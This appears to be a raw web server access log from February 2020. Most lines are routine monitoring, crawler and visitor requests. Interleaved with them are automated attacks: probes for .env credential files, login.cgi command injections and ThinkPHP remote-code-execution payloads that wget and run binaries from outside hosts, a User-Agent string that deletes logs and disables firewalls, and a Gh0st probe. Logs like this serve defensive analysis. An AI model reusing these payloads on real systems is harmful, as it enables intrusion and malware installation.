185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:36 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [23/Feb/2020:13:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.84.129.49 - - [23/Feb/2020:13:15:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:13:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.171.242 - - [23/Feb/2020:13:18:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [23/Feb/2020:13:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.214.130.30 - - [23/Feb/2020:13:20:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.105.6.75 - - [23/Feb/2020:13:21:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.225.18.118 - - [23/Feb/2020:13:28:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.240.205.34 - - [23/Feb/2020:13:28:22 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.67.87.120 - - [23/Feb/2020:13:31:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.209.30.131 - - [23/Feb/2020:13:36:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [23/Feb/2020:13:39:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:13:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.250.104.22 - - [23/Feb/2020:13:40:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [23/Feb/2020:13:49:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:13:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.58.86.209 - - [23/Feb/2020:13:51:48 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
199.58.86.209 - - [23/Feb/2020:13:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [23/Feb/2020:13:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [23/Feb/2020:13:57:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:13:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.40.97.233 - - [23/Feb/2020:13:59:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.75.219.52 - - [23/Feb/2020:14:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:14:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [23/Feb/2020:14:08:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:14:08:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:14:08:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:14:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [23/Feb/2020:14:08:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:14:08:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:14:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.244.16.172 - - [23/Feb/2020:14:15:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:14:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.86.166.63 - - [23/Feb/2020:14:17:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.42.255.79 - - [23/Feb/2020:14:18:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:14:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.145.168.178 - - [23/Feb/2020:14:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:14:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.121.204.94 - - [23/Feb/2020:14:25:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:14:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.155.86.197 - - [23/Feb/2020:14:31:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:14:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.163.54.168 - - [23/Feb/2020:14:33:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:14:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.24 - - [23/Feb/2020:14:36:36 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.39.177 - - [23/Feb/2020:14:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [23/Feb/2020:14:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.29.166.249 - - [23/Feb/2020:14:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:14:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
